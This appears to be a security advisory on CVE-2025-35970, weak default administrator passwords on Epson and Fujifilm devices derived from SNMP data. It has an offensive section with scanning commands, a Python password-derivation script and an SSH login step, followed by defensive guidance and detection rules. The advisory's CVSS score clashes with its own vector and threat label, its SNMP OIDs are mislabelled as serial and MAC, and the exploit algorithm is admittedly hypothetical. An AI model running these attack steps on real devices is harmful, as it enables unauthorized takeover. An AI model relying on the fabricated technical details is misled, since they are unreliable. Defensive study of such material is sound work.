CVE-2025-35970

Executive Summary

CVE-2025-35970 exposes a critical security flaw in multiple SEIKO EPSON and FUJIFILM Corporation products. The vulnerability stems from the use of an easily guessable initial administrator password, which can be derived from information accessible via SNMP (Simple Network Management Protocol). If the administrator password is not changed from the default, a remote attacker with SNMP access can authenticate to the device with full administrative privileges. This allows for complete compromise of the device, including configuration changes, data exfiltration, and potential lateral movement within the network. The CVSS score of 7.5 reflects the high impact on confidentiality, integrity, and availability, although the attack complexity is low and no user interaction is required. The patch status is currently unknown, placing affected devices at significant risk.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - The attacker does not need any prior authentication.
• User Interaction (UI): None (N) - No user action is required for exploitation.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - Full read access to device data and configuration.
• Integrity (I): High (H) - Full write access to device configuration and firmware.
• Availability (A): High (H) - Ability to disrupt device operation or render it inoperable.

Threat Level: Critical. The combination of network accessibility, low complexity, and high impact makes this a prime target for automated scanning and exploitation, especially in environments where SNMP is exposed.

Deep Dive & Mechanics

The vulnerability is rooted in the default configuration of the affected devices. The initial administrator password is not randomly generated but is derived from information that is publicly readable via SNMP. SNMP is a protocol used for network management and often exposes system information like device model, serial number, MAC address, or other identifiers. The vendor has implemented a password generation algorithm that uses this SNMP-accessible data to create the default password.

Attack Flow:

1. Reconnaissance: The attacker scans for devices with SNMP (UDP port 161) enabled.
2. Information Gathering: Using SNMP community strings (often default "public"), the attacker queries the device for specific OIDs (Object Identifiers) that contain the seed data for the password.
3. Password Derivation: The attacker applies the known (or reverse-engineered) algorithm to the gathered data to compute the initial administrator password.
4. Authentication: The attacker uses the derived password to log in to the device's web interface, SSH, or other administrative service.
5. Privilege Escalation: The attacker gains full administrative control over the device.

The core weakness is the reliance on "security through obscurity" and the use of predictable, device-specific data for password generation. This bypasses the need for brute-forcing or exploiting a software bug.

Vulnerable vs. Patched Code

Since no patch is available, a code comparison is not possible. However, the conceptual difference is:

Vulnerable Logic (Conceptual):

# Pseudo-code for vulnerable password generation
import snmp
device_info = snmp.get_bulk("public", ["1.3.6.1.2.1.1.1.0", "1.3.6.1.2.1.2.1.0"])
serial = device_info["sysDescr"]
mac = device_info["ifIndex"]
password = generate_password(serial, mac)  # Weak, predictable algorithm
set_admin_password(password)

Patched Logic (Conceptual):

# Pseudo-code for secure password generation
import secrets
password = secrets.token_urlsafe(16)  # Cryptographically random
set_admin_password(password)
print("Initial password: " + password)  # Must be changed on first login

The patched version would generate a truly random password and force the administrator to change it upon first login.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable SEIKO EPSON or FUJIFILM device on the network.
• SNMP access to the device (default community string "public").
• Knowledge of the password derivation algorithm (obtained through reverse engineering or vendor documentation).

Exploitation Steps:

1. Scan for SNMP devices:

   nmap -sU -p 161 --script snmp-info <target_network>
   

2. Extract SNMP data:

   snmpwalk -v2c -c public <target_ip> 1.3.6.1.2.1.1
   

3. Derive the password: (Example using a hypothetical algorithm)

   # hypothetical_exploit.py
   import hashlib
   import sys
   from pysnmp.hlapi import *
   
   def get_snmp_data(ip, oid):
       errorIndication, errorStatus, errorIndex, varBinds = next(
           getCmd(SnmpEngine(),
                  CommunityData('public'),
                  UdpTransportTarget((ip, 161)),
                  ContextData(),
                  ObjectType(ObjectIdentity(oid)))
       )
       if errorIndication:
           print(errorIndication)
           return None
       else:
           for varBind in varBinds:
               return str(varBind[1])
   
   def derive_password(serial, mac):
       # Hypothetical algorithm: SHA256(serial + mac)[:12]
       combined = serial + mac
       return hashlib.sha256(combined.encode()).hexdigest()[:12]
   
   if __name__ == "__main__":
       target_ip = sys.argv[1]
       serial = get_snmp_data(target_ip, '1.3.6.1.2.1.1.1.0')
       mac = get_snmp_data(target_ip, '1.3.6.1.2.1.2.1.0')
       if serial and mac:
           password = derive_password(serial, mac)
           print(f"Derived password: {password}")
   

4. Authenticate and gain access:

   ssh admin@<target_ip>
   # Password: <derived_password>
   

Blue Team (Defensive)

Detection and Prevention:

1. Network Segmentation: Isolate printers and MFPs on a separate VLAN with strict firewall rules. Do not expose SNMP to untrusted networks.
2. Disable SNMP: If SNMP is not required for management, disable it entirely on the device.
3. Change Default Community Strings: If SNMP is necessary, change the community strings from "public"/"private" to complex, random strings.
4. Change Default Password: Immediately change the administrator password from the default to a strong, unique password.
5. Monitor SNMP Traffic: Alert on any SNMP queries from unknown IP addresses.
6. Firmware Updates: Monitor the vendor's security advisories for a patch and apply it as soon as it becomes available.

Indicators of Compromise (IOCs)

• Network Traffic:

  • SNMP queries (UDP port 161) from an external IP to the device.
  • Successful SSH/HTTPS login from an IP that previously performed SNMP queries.
  • Unusual SNMP OID requests, specifically targeting system description and interface information.

• System Logs:

  • Successful administrative login from an unexpected IP address.
  • Changes to device configuration, especially SNMP community strings or user accounts.
  • Firmware modification or update events.

• File System:

  • Presence of scripts or tools for SNMP querying and password derivation (e.g., snmpwalk, custom Python scripts).

Detection Engineering

YARA Rule

rule CVE_2025_35970_SNMP_Default_Password_Exploit {
    meta:
        description = "Detects scripts attempting to exploit CVE-2025-35970 by deriving default passwords from SNMP data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35970"
    strings:
        $snmp_get = "snmpget" nocase
        $snmp_walk = "snmpwalk" nocase
        $pysnmp = "pysnmp" nocase
        $password_derive = "derive_password" nocase
        $sha256 = "sha256" nocase
        $serial_mac = "serial" nocase
        $mac_addr = "mac" nocase
    condition:
        (any of ($snmp_get, $snmp_walk, $pysnmp)) and
        (any of ($password_derive, $sha256)) and
        (any of ($serial_mac, $mac_addr))
}

Sigma Rule

title: CVE-2025-35970 - SNMP Default Password Exploitation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic patterns indicative of exploitation of CVE-2025-35970, where an attacker queries SNMP for device information and then attempts to authenticate.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-35970
logsource:
    category: network_connection
    product: zeek
detection:
    selection_snmp:
        destination_port: 161
        protocol: udp
    selection_auth:
        destination_port:
            - 22
            - 443
            - 80
        protocol: tcp
    condition: selection_snmp by source_ip and selection_auth by source_ip within 5 minutes
falsepositives:
    - Legitimate network management tools
level: high

Suricata Rule

alert udp any any -> any 161 (msg:"CVE-2025-35970 - SNMP Query for System Information"; content:"|30 2b 06 08 2b 06 01 02 01 01 01 00|"; sid:1000001; rev:1;)
alert tcp any any -> any 22 (msg:"CVE-2025-35970 - SSH Login Attempt from SNMP Scanner"; flow:to_server; content:"SSH"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the default administrator password on all affected devices to a strong, unique password.
2. Disable SNMP if it is not required for business operations.
3. Change SNMP community strings from defaults to complex, random values.
4. Restrict SNMP access to only trusted management stations using firewall rules or ACLs.

Long-Term Actions:

1. Monitor vendor advisories for a firmware patch that addresses this vulnerability.
2. Implement network segmentation for all IoT/OT devices like printers and MFPs.
3. Deploy an IDS/IPS with rules to detect SNMP reconnaissance and subsequent authentication attempts.
4. Conduct a security audit of all devices to ensure default credentials are not in use.

Valters IT